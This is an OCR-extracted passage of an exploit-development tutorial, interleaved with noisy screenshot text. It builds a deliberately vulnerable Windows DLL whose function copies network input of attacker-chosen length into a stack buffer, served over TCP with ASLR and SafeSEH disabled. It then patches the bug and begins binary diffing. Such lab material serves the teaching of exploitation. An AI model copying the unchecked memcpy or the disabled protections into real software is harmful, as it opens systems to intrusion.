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Creating a vulnerable application

First we create a sample application. To do it start the Visual Studio C++ 2008

I Microsoft Visual C+4 2008 Express

E® Fdition

.'/. ..\'.
[@] Ease of Access Center
Nl

Microsoft Visual Web Developer 2008
Express Edition

| Cﬁ! Microsoft Visual C# 2008 Express Edition

' ‘ Windows Explarer

» All Programs

J

Create a new project select File \ New \ Project

B start Page - Visual C++ 2008 Express Edition {(Administrator)
Edit View Tools Window Help

T

Cpen * | 3| File... Ctrl+M
Cloze

Project From Existing Code...
H—{—%«—L{ Visual C
i = e

Select Win32 Console Application as project type, and give it a name, [ will use the name
"patching".
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New Project ﬂ E

3/122

Project types: Templates:
Visual C++ Visual Studio installed templates
CLR
Win32 @Win?ﬂ_ Console Application E'-.-‘-a‘inﬂ Project
General

My Templates

Zd Search Online Templates. ..

A project for creating a Win32 console application

[ame: I patching
Location: I Ci\Users\Administrator \Documents\Wisual Studio 2003 Projects
Solution Mame: I patching ¥ create directory for solution

j Browse... |

On the next window press nex to pass the welcome message.

Ok I Cancel |
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Win32 Application Wizard - patching B |

Welcome to the Win32 Application Wizard

CiEryiem These are the current project settings:

&pplication Settings » Console application
Click Finish from any window to accept the current settings,

After you create the project, see the project's readme. it file for information
about the project features and files that are generated.

= Previous | Mext = I Finish Cancel

In the next window select console, and "Empty project"
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Win32 Application Wizard - patching B |

_—— Application Settings
CrEr s Application type: Add common header files for:
&pplication Settings (" Windaws application I~ AL

{+ Console application I MrC

" DLL

{~ Static library

Additional
P &

ti

™ | Erecompiled header

-+

< Previous Mex Finish Cancel

W

We will create a dll as well, that will contain the problematic function. To be able to create a dll
right click to the solution, then from the popup menu select Add \ New Project

Solution Explarer -1 X

Start Page
[F= — o
B o\ s
: ol tio 1 0 i | e ++ 008
= (24 patching Build Solution ISua i 2
. [ Header Fies o press Edition
- [l Resource Files Rebuild Solution
t [ Sourece Files Clean Saolution
Batch Build... L
Configuration Manager. .. DlF'
i

Add L Mew Project. .. Er

Set StartUp Projects... Existing Project. .. FC

In the new window select Win32 Console Application, and give it a name I used mydll as name.
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Add Mew Project B
oo oo
Project types: Templates: B3 | B
Visual C++ Visual Studio installed templates

CLR —

Win32 @Win?ﬂ_ Console Application Ell."'.l'il'l32 Project

General

My Templates

Zd 5earch Online Templates. ..

A project for creating a Win32 console application

Mame: | mydll
Location: I C:\sers\Administrator\Documents\Wisual Studio 2008'\Projects'patching j Browse. ., |

QK I Cancel |

On the next window click to the next button



Patch-based exploit development with /GS and SEHOP bypass 7/122

Win32 Application Wizard - mydll B |

Welcome to the Win32 Application Wizard

CiEryiem These are the current project settings:

&pplication Settings » Console application
Click Finish from any window to accept the current settings,

After you create the project, see the project's readme. it file for information
about the project features and files that are generated.

= Previous | Mext = I Finish Cancel
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In the next window select dll, and Empty project, then click on Finish.
w2 Applcation Wezard -yl |
- JH\ - Application Settings

CErig Application type: Add comrman header files for:
Application Settings " Windows application I~ A

{~ Console application I~ vrc

f* DLL

{~ Static library

Additional options:

I~ Export symbols
¥ | Erecompiled header

< Previous Mext = Finish Cancel

Add a new header file to the mydll project. To do it right click on header files, and from the popup

menu select Add \ New Item.

Solution Explorer - Solution 'p... - & X

o Microso

j Solution 'patching’ (2 projects) 'i — Vis
E E m'\r'd" - ; I_\,\...-\.
O3 — V) Expr

----- = o | T
P e 3 Source File]
= 3 patching d | Cut ]| Existing Item...

""" L Header Filg 53| Copy £ | Mew Filter

----- [H Resource

----- A source Filef == #3 | Class...

X | Remove [
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In the wizard select header file, and give it a name. [ will use the name "mydllheader".

Add New Ttem - mydll

oo oo
Categories: Templates: BE | oo
Visual C++ Visual Studio installed templates

UI —

Code E'-.-‘-a‘indn'fvs Form _“H C++File {.cpp)

Property Sheets (0] Header Fie (.h) =lProperty Sheet {,vsprops)

FB] Component Class
My Templates

| search Online Templates. .

Creates a C++ header file

Mame: I mydlheader

Location: | c:\Wsers\Administrator \Documents\isual Studio 2008\Projectspatchingmydil Browse.., |

Add Cancel |

Then add a source file. To do it right click to the Source File. From the popup menu select Add \
New Item.

Solution Explorer - Solution 'p... ~ & X mydllheader.h
& | =
'_; Solution 'patching' (2 projects)
= 5 mydll
. B [&F Header Files
- ] mydiheader.h
----- [H Resource Files

(Global Scope)

o d -

= I24 patching B nNewltem...
'''' Ll Header Fil & | Cut 3| Existing Item...
---- [H Resource §
----- F3 source Fildl 5311 Copy [ | Mew Filter

In the new window select C++ file, and give it a name. I used mydlIl as name in this example.
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Add New Ttem - mydll B E
oo F
Categories: Templates: BE | oo

Visual C++ Visual Studio installed templates
UI
Code =] windows Form @ C++File {.cpp)
Property Sheets 1] Header File (h) Elrroperty Sheet {.vsprops)

FB] Component Class

My Templates

| search Online Templates. .

Creates a file containing C++ source code

Mame: I vyl

Location: | c:\Wsers\Administrator \Documents\isual Studio 2008\Projectspatchingmydil Browse.., |

Add Cancel |

We need a source file to the patching project as well. To add it right click on the Source File, and
from the popup menu select Add \ New Item

Solution Explorer - Solution 'p... ~ & X /l'“‘r’d"-cl?l?lim Edllheader.h
SRR

B 54 mydl

'_a Solution 'patching' (2 projects)

= 5 Header Files
- e ] mydliheader.h
- [ Resource Files
= (& Source Files

b ¢+ mydl.cpp

= (=4 patching
.. [ Header Files
.. [l Resource Files

I | Source Fileg

f:f«g Soluti... Egclass .

(Global Scope)

& | Cut (]| Existing Item...

Copy | Mew Filter

2| Class...

In the next window select C++ file, and give it a name. I used "patching" as name in the example.
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Add New Ttem - patching
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oo oo
Categories: Templates: BE | oo
Visual C++ Visual Studio installed templates
UI
Code ,E'-.-'-a'indn'fvs Form @ C++File {.cpp)
Property Sheets L] Header File (h) Elrroperty Sheet {.vsprops)

FB] Component Class

My Templates

| search Online Templates. .

Creates a file containing C++ source code

Mame: I patching]

Location: | c:\Users\Administrator \DocumentsWisual Studio 2003\Projects\patching'patching

Browse... |

Cancel |

Add the following code to mydllheader.h In this code we defined that there will be one exported
function called foo, it will not have any return value. This function requires a string input parameter,

and an integer input parameter.

#ifndef DLLHEADER H INCLUDED

#define DLLHEADER H INCLUDED

#ifdef DLL EXPORT

# define EXPORT _ declspec (dllexport)

#else

# define EXPORT

#endif

extern EXPORT void foo (char *str, int szam);
#endif

natching.cop® | mydl.cop® -~ mydilheader.h®

(Global Scope) j I

E #ifndef LLHELDER H TNCLUDED

J]-’Fdef'_::e DLLHEADER H INCLULDED

- ¥ifdef DLL EXPORT

-% define EXPORT __declspec (dllexport)

[ $=l==

F# define EXFCET
$endif

Fextern EXPCORT wvoid foo (char *=2tr, int =szam):
$endif
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Then add the following code to mydll.cpp. It implements the previously exported foo function. The
function itself is a perfect stack based bufferoverflow. It defines a 1024 byte buffer. In a try-catch
block copies the input string to the previously defined buffer. It is in a try-catch block, to be able to
write a SEH based exploit. We use the integer parameter, to be able to do easily fire an exception by
entering zero as the value of it we get a division by zero exception.

#define DLL EXPORT
#include "mydllheader.h"
#include <iostream>
EXPORT void foo (char *str, int szam)
{
char buffer[1024];
int size;

try

{
memcpy (&size,str,4);
printf ("Bytes received: %$i\n", size);
memcpy (buffer, str+4,size);
szam=100/szam;

}

catch (char * strErr)
{
}

" patching.cpp” mydllepp |~ mydlheader.h | Start Page |

(Global Scope) j I % foo(char * str, int szam)
B #define DLL EXFORT
include "mydllheader.h"

include <iostream>

S B

B EXPCRT woid foo (char *=2tr, int szam)
char buffer[1024];
int size;

memcpy (&size, 3tr, 4)

printf ("Bytes received: %i\n", =size):
memcpy (buffer, str+4, size) ;
szam=100/szam;

catch (char * strErr)

Then copy the following code to the patching.cpp. It defines a character array and an integer
variable. Then read the values of them from the user. And finally calls the previously created foo
function with the entered sting and integer as parameter.



Patch-based exploit development with /GS and SEHOP bypass

#include <mydllheader.h>

#include <string>
#undef UNICODE

#define WIN32 LEAN AND MEAN

#include
#include
#include
#include
#include

<windows.h>
<winsock2.h>
<ws2tcpip.h>
<stdlib.h>
<stdio.h>

// Need to link with Ws2 32.1lib

#pragma comment
// #pragma comment

(1ib, "Ws2 32.1ib")

(lib, "Mswsock.lib™")

//Custom packet structure.

int main (void)

{

#define DEFAULT BUFLEN 4096
#define DEFAULT PORT "12345"

WSADATA wsaData;

int iResult;

SOCKET ListenSocket = INVALID SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
struct addrinfo *result = NULL;
struct addrinfo hints;

char recvbuf[DEFAULT_BUFLEN];

int recvbuflen
int szam;

= DEFAULT BUFLEN;

printf ("Enter a number if 0 division by zero fires the

exception handler:

scanf ("%d", &szam) ;

\n") ;

// Initialize Winsock
iResult = WSAStartup (MAKEWORD (2,2), &wsaData);

if (iResult
printf ("WSAStartup failed with error: %d\n", iResult);
return 1;

}

= 0) {

ZeroMemory (&hints, sizeof (hints));
hints.ai family = AF INET;
hints.ai socktype = SOCK STREAM;

hints.ai protocol

IPPROTO_TCP;

hints.ai flags = AI PASSIVE;
// Resolve the server address and port

iResult
if (

iResult
printf ("getaddrinfo failed with error: %d\n", iResult)
WSACleanup () ;

return 1;

getaddrinfo (NULL, DEFAULT PORT, &hints, &result)

0 ) |

13/122
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}

// Create a SOCKET for connecting to server

ListenSocket = socket (result->ai family, result->ai socktype,
result->ai protocol);
1f (ListenSocket == INVALID SOCKET) ({

printf ("socket failed with error: %1d\n",
WSAGetLastError()):;
freeaddrinfo (result) ;
WSACleanup () ;
return 1;
}
// Setup the TCP listening socket

iResult = bind( ListenSocket, result->ai addr, (int)result-
>al addrlen);
if (iResult == SOCKET_ERROR) {

printf ("bind failed with error: %d\n", WSAGetLastError()):;
freeaddrinfo (result) ;
closesocket (ListenSocket) ;
WSACleanup () ;
return 1;
}
freeaddrinfo (result) ;
iResult = listen(ListenSocket, SOMAXCONN) ;
if (iResult == SOCKET_ERROR) {
printf("listen failed with error: %d\n",
WSAGetLastError()):;
closesocket (ListenSocket) ;
WSACleanup () ;
return 1;
}
// Accept a client socket
ClientSocket = accept(ListenSocket, NULL, NULL);
if (ClientSocket == INVALID_SOCKET) {
printf ("accept failed with error: %d\n",
WSAGetLastError()):;
closesocket (ListenSocket) ;
WSACleanup () ;
return 1;
}
// No longer need server socket
closesocket (ListenSocket) ;
// Receive until the peer shuts down the connection
do {
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
printf ("Bytes received: %d\n", iResult);
foo (recvbuf, szam);
break;
}
else if (iResult == 0)
printf ("Connection closing...\n");
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else {
printf ("recv failed with error: %d\n",
WSAGetLastError());
closesocket (ClientSocket) ;
WSACleanup () ;
return 1;
}
} while (iResult > 0);
// shutdown the connection since we're done
iResult = shutdown (ClientSocket, SD SEND) ;
if (iResult == SOCKET ERROR) {
printf ("shutdown failed with error: %d\n",
WSAGetLastError());
closesocket (ClientSocket) ;
WSACleanup () ;
return 1;
}
// cleanup
closesocket (ClientSocket) ;
WSACleanup () ;

r
~patching.cpp® | “mydll.cop | mydlheader.h |

(Global Scope) j I % main()
B #include <mydllheader.h>
$#include <string>

$undef UNICCLDE

#define WIN32 LEAN AND MEAN

$include <windows.h>
$#include <winsockZ.h>
$#include <wsZ2tcpip.h>
#include <stdlib.h>
$#include <stdioc.h>
Heed to link with Ws2 32.1ib
fpragma comment (lib, "Ws2 32.1ib")

f #pragma comment (lik, "Mswsock.lib"™)
S /fCu=stom packet structure.

B int main(void)

#define DEFAULT BUFLEN 4095&
#define DEFAULT PCORT "123435"

WSLDATR wzalata:r
int iBResult:
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SOCEET ListenSocket = INVALID SCOCEET;
SCCHET ClientSocket = INVALID SCCHEET:

struct addrinfo *result = NULL:;
struct addrinfo hints:

char recvbuf [DEFAULT BUFLEN]:
int recvbuflen = DEFAULT BUFLEN:
int szam;

rintf ("Enter a number if 0 division by zero fires the excep
gcanft (":d4d",&=szam) ;
Initialize Winsock
iResult = W3LAStartup (MLEEWCORD(Z2,2), &wsaData):
if (iBResult !'= 0)
rintf ("WSAStartup failed with error: %d4d\n", iResult):

return

=l =

hints.ai family = AF INET:
hints.ai_ socktype = 50CE_STREAM;
nints.ai protocol = IFPRCTC TCE:

hints.ai flags = AI PASSIVE:

Rezsolwve the server address and port

iBesult = getaddrinfo (NULL, DEFAULT PORT, &hints, &result);
if [ iBesult !'= 0 )
printf ("getaddrinfo failed with error: %*d\n", iResult);
W3ACleanup () »

Create a 50CEET for connecting to server

Listendocket = socket (result->al family, result-ral socktype
if (ListenSocket == INVRLID S0OCEET)
printf ("socket failed with error: %1d\n", WSLGetLastErro
freeaddrinfo (result) ;
WSLCleanup () »

Setup the TCP listening socket
iBesult = bind( ListenSocket, result-»ail addr, (int)result-x
if (iResult == S0OCEET ERROR)
printf ("bind failed with error: %d\n", WSLGetLastErrox()
freesaddrinfo(result) ;
close=socket (ListenSocket) ;
WSARCleanup ()
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fteeadd:i:fciresz;t];

iResgult = liszten(ListenSocket, SOMAXCONHN) -

if (iResult == SOCEET ERRCR)
printf("listen failed with error: Ed\n"
cloze=zocket (ListenSocket) !
WSACleanup () ;

f Accept a client socket
ClientSocket = accept (ListenSocket, NULL, NULL) :

if (ClientSocket == INVRLID SCOCEET)
printf ("accept failed with error: dvn"
closesocket (ListenSocket) ;

o

WSACleanup() :

No longer need server socket
closesocket (ListenSocket) ;
Receive until the peer shuts down

closesocket (ListenSocket) ;
WSACleanup ()

HNo longer need server socket
closesocket (ListenSocket) ;
REeceive until the peer shuts down

do

if (iRes=ult > 0)
printf ("Bytes received: %d\n", iResult):
foo (recvbuf,=zam):;

break:
else if (iResult == 0)
printf ("Connection closing...\n"):
else i
printf ("recv failed with error: %d\n", W3LG

cloze=socket (Client3ocket) ;
WeACleanup () ;

cleanup
clozesocket (ClientSocket) ;
WSACleanup () !

iResult = recv(ClientSocket, recvbuf, recvbuflen,

iResult = recv(ClientSocket, recvbuf, recvbuflen,

r WBAGetLastError

r WSLAGetLastError

0y
0y
etLastErr

17/122
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Save every file by clicking on the Save All button.

= patching - Visual C++ 2008 Express Edition (Administrator)

File Edit Wiew Project Build Debug Tools Window Help
uiﬂ'l_J'legc'\":'—'éllﬁ "]*-"-"v__;'L b Debug - Wil
.qrd}}-:%juﬁ? E?Save.ﬁ.ll EDJJ}JJ & o 5 -
Solution Explorer - Solution 'p... ~ & X natching. con® II/FI'I'I'y'd".EFIp yl‘l‘lvd“hEﬂdEl‘.l‘l*

i

1 e

"1. =

Set the Visual Studio to create a Release build.
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= patching - Visual C++ 2008 Express Edition (Administrator)

File Edit “iew Project Buld Debug Tools Window Help

-é:l:l e e | % G R vv.‘;"; B |Debug Hk—'u'inBE

Di_—.a* iE = ;“ GJJ.}P_Jﬂa/JwDEbu

patching.cpp™ medll.q:up‘ Cu:urnﬁgurahnn Manager...

]

We have to set the properties of the patcing project to find the newly created dll, and header files.to

do it right click to the project, and from the popup menu select properties.

Solution Explorer - patching -1 X

E

[#%)| Build =
_a Solution 'patch ] B
=8 -35 mydl Rebuild E
L E- L__".«? Heade Clean :

_____ I_j gs:u Project Only b ;
;B LS Sourcs Project Dependencies, . F
I 1% m I
. Project Build Order...

Sl cchono :

..... Cd Headd Custorn Build Rules.. . i

""" (d Resou Tool Build Order. .. -

Bl L Sourcs
b €4 B Add 4
References...
Set as StartUp Project
Debug 2
o
=]
=]
LE]
>< Remaowve
Rename
: ] Unload Project

Ef‘;‘ Soluti. .. E%CI.: | !

Ready BE Pproperties
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At the C/C++ tab select additional include directory.

patching Property Pages 7] x|

Configuration: IAEﬁVE(ReIease}

j Platform: IAcﬁve (Win32)

Common Properties
Configuration Properties
General
Debugging
CiC++
Linker
Manifest Tool
XML Document Generator
Browse Information
Build Events
Custom Build Step

Additional Indude Directories

Resolve Zusing References
Debug Information Format
Suppress Startup Banner
Warning Level

Detect 64-hit Portability Issues
Treat Warnings As Errors

lse UMICODE Response Files

j Configuration Manager.|Close

[~

Program Database (/Zi)
Yes {fnologo)

Level 3 (JW3)

Mo

Mo

Yes

Additional Include Directories
Specifies one or more directories to add to the indude path; use semi-colon delimited list if more than one.

(T[path])

0K I Cancel Apply

Type ..\mydll as path, then click on the ok button.

Additional Include Directories

Amydl]

e

ki

Inherited values:

b

¥ Inherit from parent or project defaults

[

Macros > =

(04 Cancel
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patching Property Pages 7] x|

Configuration: IActive (Release) j Platform: IActive (Win32) j Configuration Manager... |
Common Properties Amydil =
Configuration Properties Resolve Zusing References

General Debug Information Format Program Database (/Zi)
Debugging Suppress Startup Banner Yes {fnologo)

CiC++ Warning Level Level 3 (JW3)

Linker Detect 64-bit Portability Issues Mo

Manifest Tacl Treat Warnings As Errors Mo

XML Document Generator
Browse Information

Build Events

Custom Build Step

lse UMICODE Response Files Yes

Additional Include Directories
Specifies one or more directories to add to the indude path; use semi-colon delimited list if more than one.

(T[path])

0K I Cancel | Apply

Go to the Configuration Properties C/C++ Optimization Branch, and disable the optimization,
otherwise that clever optimizer will recognize that the strcpy and division is unecessery.
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mydll Property Pages 7] x|

Configuration: IAEﬁVE(ReIease}

j Platform: IAcﬁve (Win32)

j Configuration Manager... |

21/122

= Common Properties
Framework and References
= Configuration Properties
General
Debugging
= Cj/C++
Genersl
Preprocessor
Code Generation
Language
Precompiled Headers
CQutput Files
Browse Information
Advanced
Command Line
Linker
Manifest Tool
XML Document Generator
Browse Information
Build Events
Custom Build Step

Optimization

Inline Function Expansian
Enable Intrinsic Functions
Favor Size or Speed

Omit Frame Pointers

Enable Fiber-safe Optimizations
Whole Program Qptimization

Disabled (/0d)

Default

Yes (/0i)

Meither

Mo

Mo

Enable link-time code generation (fGL)

Optimization
Select option for code optimization; choose Custom to use specific optimization options.  (fOd, /01, /02,
f0x)

0K I Cancel Apply

Then go to the Linker \ Input \ Additional Dependencies, and click on the ... next to it.
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patching Property Pages 7] x|

Configuration: IActive (Release) j Platform: IActive (Win32) j Configuration Manager... |
Common Properties =
Configuration Properties Ignore All Default Libraries Mo

General Ignore Specific Library
Debugging Module Definition File
CfC++ Add Module to Assembly
Linker Embed Managed Resource File
General Force Symbol References
Inpu.t . Delay Loaded DLLs
Manifest File ;
) Assembly Link Resaurce
Debugging
System
Optimization
Embedded IDL
Advanced
Command Line
Manifest Tool

XML Document Generator
Browse Information

Build Events

Custom Build Step

Additional Dependencies
Specifies additional items to add to the link line {ex: kernel32.lib); configuration specific.

0K I Cancel | Apply |

The dll will compiled to the Release directory so add "..\Release\mydIl.lib" as additional lib file,
then click to the OK button.

Additional Dependencies

| \Release\mydl.lib =]

" Ny

Inherited values:

kernel32.1ib -
user3a.lib

gdiz2.lib
winspaol.lib
comdlg32.lib
=
¥ Inherit from parent or project defaults Macros>=
Ok Cancel
&

We do not want to bother with ASLR so to turn it off go to the Linker / Advanced, and set
"Randomized base address" to disabled, and "Fixed base address" to image must be loade at fixed
address.
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patching Property Pages 7] x|

Configuration: IActive (Release) j Platform: IActive (Win32) j Configuration Manager... |
Common Properties [~
Configuration Properties Mo Entry Point Mo

General Set Checksum Na
Debugging Base Address
CfC++ Randomized Base Address Disable Image Randomization {/DYNAMICBASE:NO)
Linker Fiwed Base Address Image must be loaded at a fixed address (/FIXED)
General Data Execution Prevention (DEP) Image is compatible with DEP {MXCOMPAT)
Inpl.!t . Turn Off Assembly Generation Mo
Manlfeslt File Delay Loaded DLL Don't Support Unload
Debugging -
System Import Library
Optimization Merge Sections
Embedded 0L Target Machine MachineX86 (/MACHINE:X86)
e Profile Mo
Command Line CLR Thread Attribute Mo threading attribute set
Manifest Tool CLR Image Type Default image type
%ML Document Generator Key File
Browse Information Key Container
Build Events Delay Sign Mo
Custom Build Step Error Reporting Prompt Immediately {ERRORREPORT:PROMFT)
CLR Unmanaged Code Check Mo
Entry Point

Sets the starting address for an .exe file or DLL.  (/ENTRY:[symbaol])

0K I Cancel | Apply |

To bypass the /GS protection we need a loaded module compiled without safeseh (i would like to
recall, the arror is in the mydll.dll, but we turn of the safesef in the patching.exe. It is unimportant
which loaded modul is not safeseh compiled, but need one). To guarantee it go to the Linker /
command line and to the additional options type "/SAFESEH:NO"
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patching Property Pages 7] x|

Configuration: IActi'-.-'E(ReIease}

Common Properties
B Configuration Properties
General
Debugging
CiC++
[=] Linker
Genersl
Input
Manifest File
Debugging
System
Optimization
Embedded IDL
Advanced
Manifest Tool
XML Document Generator
Browse Information
Build Events
Custom Build Step

B HEEE

j Platform: IActi'-.-'EC-.-'-a'inEE} j Configuration Manager... |

All options:

JOUT:"Ci\Users\Administrator\Documents\isual Studio 2008\Projects'patching\Release\patching.exe™ ;l
JINCREMENTAL:MO MOLOGQO MANIFEST

[MANIFESTFILE: Release\patching. exe . intermediate. manifest™ MANIFESTUAC: Tevel="asInvoker'

uiAccess ="false’™ [DEBUG /PDB: "c:\Users\Administrator\Documents\isual Studio 2008

\Projects\patching \Release\patching. pdb™ /SUBSYSTEM: CONSOLE fOFT:REF JOPT:ICF LTCG
[OYMAMICBASE:NC [FIXED MXCOMPAT /MACHIME; X586 /ERRORREPORT:PROMPT .. \Release'\mydill.lib
kernel32.lib user32.lib gdi32.lib winspool.lib comdig32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib
uuid.lib odbc32.lib odbecp32.lib

=i
Additional options:
/SAFESEH:NO 2]
[~
0K I Cancel | Apply |

Click to the OK button again, to accept the changes.

Now we have to set the build order, the dll should be compiled before the main app otherwise the
compiler will not find the .lib file, and fails. To do it right click to the "patching" project, and from

the popup menu select "Project Dependencies..."

olution Explaorer - pa
E

Project Build Order,.,

Custom Build Rules..,

hf

L=1= | #Y| Buid L
[ Solution 'patch
E| EH — Feebuild Hef
- = Y L
. B 5 Heads Clean ine
P he ﬂ e _ Ef
73 Resou Project Only Pl
= IS Sourcq Project Dependendes... 2
E- G+t Ty :-__:__
= gﬂ

..... 3 Head

In the appearing new window put a checkmark next to mydll in the

"depends on: " box.
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Project Dependencies i B |

Dependencies |Build Crder |
Projects:

Ipatching j

Depends on;

i

QK I Cancel

Then compile the solution by selecting Build \ Build Solution from the menu.

-] patching - Visual C++ 2008 Express Edition (Administrator)

File Edit View Project Debug Tools ‘Window Help

Rebuild Solution  Ctrl+Alt+F7

Clean Solution murdllhasdas h#

Hopefully the build will succeed

Output
Show output from: Build - B &S| S| =

Linking...
Generating code
Finished generating code

Embedding manifest...
Build log was sawved at "file://c:\Users'idministrator'DocumentsiVisual Studipo Z008%Projectsipatchingipatchi

patching - 0 erzecris), I warninglis)
========== Build: I succeeded, 0 Zfziled, 0 up-to-date,

| o
I i

0 skipped =s=========

Close the Solution, just to be sure, that every file is closed.
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= patching - Visual C++ 2008 Expres:

|Fi|e Edit View Project Build De

Mew » [
Open 3

i Add >
Close

@ Close Selution

el | Save Selected Items Ctrl+5
Now copy the content of the

Release folder (the place of it was just printed out by the visual studio right now) in my case it was
"C:\Users\Administrator\Documents\Visual Studio 2008\Projects\patching\Release" to somewhere,
to keep it as the old version. I created a folder on the C:\ directory called as old, and copied it there.

<_; (j}v | , = Documents - Visual Studio 2008 - Projects - patching - Release A [m] I-’_-EE":"

File Edit View Tools Help
Organize * 3= Views

Mame = Date modified -| Type -| Size ~| Tags

Favorite Links

mydll.dll 6/16/2011 1:32PM  Application Exte...
| Documents mydll.exp 6/16/2011 1:32PM  Exports Library File 1KB
FE Fictures . mydll.lib 6/16/2011 1:32PM  Object File Library 2KB
F[} Music 6/16/2011 1:32PM  Program Debug ... 299 KB
Mare ¥ T i e Appll L. -
'. patching.pdb f Program Debug ...
Send To r
Folders hd
J AppData ;I e
@) Application Data |
B contacts Create Shortout

9(::;@ | , = Computer - Local Disk (C:) « Old - l"

File Edit WView Tools Help
Organize * 13 Views -

MName = |v| Date modified |v| Type |v| Size
This folder is empty.

Favorite Links

Fr Documents View k
B rictures Sort By »
Group By r

Musi

F[_J' LIsic S .
Mare Refresh

Folders ) Customize This Folder...
BB Desktop ;I |
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Correct the problem in a new version

Now we crate a new version of the dlIl, to be able to compare the original, and the patched one. To
do first open the solution again by clicking file \ Recent Projects \ the name of jour solution

B visual C++ 2008 Express Edition (Administrator)
File | Edit WView Tools Window Help

Mew A | ) - N . - | 3 |F'.Elease v||'|.|'l.|'ir'|32

1 C:\... \DocumentsYWisual Studio 2008\Projectspatchingpatching. sin

Then copy the following content to the "mydll.cpp" file:

#define DLL EXPORT
#include "mydllheader.h"
#include <iostream>
EXPORT void foo (char *str, int szam)
{
char buffer[1024];
int size;

try
{
memcpy (&size,str,4);
printf ("Bytes received: %i\n", size);
1if (size <=1024)
{
memcpy (buffer, str+4,size);
}
szam=100/szam;
}
catch (char * strErr)
{
}
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" patching.cpp” Mydllepp |~ mydiheader.h | Start Page |

(Global Scope) j I W foo(char * str, int szam)
g $#define DLL EXPCRT
finclude "mydllheader.h"
Lfineclude <iostream>

B EXPCRT woid foo (char *str, int ==zam)

char buffer[1024]:
int size;
try

memncpy (&size, 3tr, 4)
primcf ("Bytes received: %i\a", =size):
if (=zize <=1024)

memcepy (buffer, str+4, 2ize) ;

gzam=100/=zam;

catch (char * strErr

Then save the content of if by the save all button:

- patching - Visual C++ 2008 Express Edition (Administrator)

Eile Edit View Project Buld Debug Tools Window Help
u.;l:l'l_]*ljlg @90 S| b Release ~ Win32
B3R ae|EL, 2 0PF3 8885 QA

SIS S E e EERSEE patching.cpp. mydilepp® | mydiheader.h

Now click on the Build \ "Clean Solution", to have a delete all the compiled files.

-4 patching - Visual C++ 2008 Express Edition {Administrator)

File Edit WView Project | Build | Debug Tools Window Help

S " Build Solution F7 b &
- = o= : :

[ Ry EE_..—. Az | EE iE Febuild Solution  Ctrl +Alt+F7 5
Solution Explorer - patching Clean Solution E
= | = | Build mydi —
:J Solution 'patching’ (2 proje Rebuild mydl —

Hopefully the cleanup will be successfull:
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— - e X A ke i e Fo———

.:j?Su:quﬁ... |';f'%'$t-ilass |;:|Pru:u|:ue... |I|‘ 4| : |

Show output from: Build - R @B | S| F

—————— Clean started: Project: patching, Configuration: RBelease Win32 ---——-

Deleting intermediate and output £iles for project "patching', configuration 'Belease|Win3zZ'
—————— Clean started: Project: mydll, Configuration: Release Win32 ————-

Deleting intermedizte and output £iles for project 'mydll', configuration 'Release|Win3Z'
========== (Clean: I =succeeded, 0 Zziled, J skipped =——==———==

Now Build again the solution by clicking Build \ Build Sloution

= patching - Visual C++ 2008 Express Edition (Administrator)

Eile Edit View Project Debug  Tools  Window Help

j R W= mm  Build Solution F7 R = Win32
k_ A» | IE iE Rebuild Solution  Ctrl+Alt+7 _

Clean Solution mydlheader.h

[#%]| Buid mydl

N [P

Hopefully the compilation will be successfull:

Output -1 X
Show output from: Build - | I ,;.—J _J; =% =
Linking. .. -
Generating code

Finished generating code
Erbedding manifest. ..

Build log was saved at "file:/fc:\Users‘Administrator\Documents'Visual Studic 2008\ Projectsipatchingipatchi
patching - 0 erroris), Z warningis)
========== Build: I succeeded, 0 fziled, 0 up-toc-date, 0 skipped ==s========

Close the Solution, just to be sure, that every file is closed.

&2 patching - Visual C++ 2008 Express Ed
Edit View Project Buld Debug

Mew N
Open k .|
Add 2 _ﬁ
Close ©lo

:

[al | Save Selected Items  Ctrl+5 |

Now copy the content of the Release folder (the place of it was just printed out by the visual studio
right now) in my case it was "C:\Users\Administrator\Documents\Visual Studio
2008\Projects\patching\Release" to somewhere, to keep it as the new version. I created a folder on
the C:\ directory called as new, and copied it there.
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‘_;y:::,rv | .= Documents - Visual Studio 20028 - Projects = patching - Release - lml I;EE--;--

File Edit WView Tools Help

Organize » 13 Views

Favorite LiI‘lkS """"""""""""""""""""""""""""""""""""" pr————— s Ly

FE Documents
FE Fictures Cut Object File Library

F[._;' Music ! |Program Debug ... 299 KB
patching.exe Application 8KB

'. patching.pdb Smles o Program Debug ... 331KB
Delete

Mare

(_;\:_:p | . = Computer - Local Disk (C:) = new

File Edit WView Tools Help

Organize + 1= Views

Favorite Links Mame = | - Date modified |-
FF Documents -

. View »
FE Pictures Sort By R
F[_J" Music Group By ,

Maore Stack By b
Refresh
Folders W
Clae Customize This Folder. ..
Bl Desktop -
|ﬁ Administrator |
P iklic Paste Shortcut

Find the problem by comparing the two applications

Now we have the two example dll-s, to compare them, and find what changed, and write the exploit
based on that difference. To do it we need the Ida pro 4.9 free version (one shoud hunt for it on the
net, because from the official website the 5.0 free version can be dowloaded, but that does not
support the third party plugins also required for the example), but on other sites, and computer
magazines download archives you can find it.

And you need the "turbodiff-for-free-ida v1.0.1b2.zip" it can be downloaded from
http://corelabs.coresecurity.com/index.php?

module=Wiki&action=view&type=tool&name=turbodiff take care to download the 4.9 free version

(except of course if you have a full working ida 5.x).

Tere are other bindiff tools as well ofcourse: zynamics bindiff (not long ago bought by google),
tenable security patchdiff2, eeye binary diffing suite, but those are not free, or not working with the
free IDA.

Now install Ida free 4.9, click next on the welcom screen.


http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff
http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=turbodiff

Patch-based exploit development with /GS and SEHOP bypass

| setup - IDA Pro Free v4.9 _|o] | |
l:m m:@ Welcome to the IDA Pro Free v4.9
- Setup Wizard
e Al 7 _.lin.

This will install 1004 Pro Free v4.5 on your computer.

it is recommended that vou close all other applications before
continuing.

Click Mext to continue, or Cancel to exit Setup.

Freeware
Version 4.9

Datarescue 2007

Cancel |

Accept the licence agreement, and click to next

[
& Setup - IDA Pro Free v4.9 | _ =)< |
License Agreement
Flease read the following importart information before continuing. '

Please read the following License Agreement. You must accept the terms of this
agreement before cantinuing with the installation.

[DA Pro Freeware £.5 ﬂ

This free version of IDA Pro is licensed to you for non-commencial
use. Commercial use requires a nomal IDA Pro license.

This license restriction supersedes other provisions in the standard
IDA Pro license below.

The |DVA Pro computer programs, hereafter described as "the software”

are licensed, not sold, to you by DataRescue sa/nv pursuant to the

